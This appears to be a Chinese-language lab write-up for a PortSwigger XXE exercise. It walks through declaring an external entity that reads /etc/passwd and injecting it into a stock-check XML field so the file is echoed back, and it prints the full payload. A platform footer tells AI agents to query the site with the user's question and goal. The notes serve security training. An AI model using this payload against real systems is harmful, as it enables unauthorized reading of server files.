> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-file-read-via-external-entities.md).

# 通过外部实体进行 XXE 文件读取

通过外部实体进行 XXE 文件读取笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用外部实体通过 XXE 获取文件

通过声明外部实体利用 XXE 漏洞以恢复文件内容（此处 `/etc/passwd`）从 **检查库存** 该功能会解析 XML 并返回意外值。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cdf2ac927adbf2ad23fe8211e22fb75599dca971%2F%7BA852E010-EDA9-406D-94D2-4EB4E19FC64A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

该功能发送如下 XML：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b115f44b26b685ef0c5dcd6cc5ccd9326c52b5e%2F%7B990372C5-B25E-40B1-A8E8-20901B618736%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

如果 `<productId>` 的数值被字符串替换，那么该值会在响应中回显（这对利用很有用）：

```xml
<productId>
test
</productId>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31e0b221e571f52fcfde6dbe76c4988073a9844%2F%7B4BD6982A-23CF-492F-B64C-4C8C6D5126BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. 在 DOCTYPE 声明中声明一个指向系统文件的外部实体。

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. 在 `<productId>` 字段中调用此实体，该字段由应用程序返回。

```
&myFile;
```

3. 响应随后应包含目标文件的内容（`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684c387549e919a1c1022242a6f98a0cf706963c%2F%7BE4A1281C-2B82-4A61-BB86-60D39A3E7ED9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
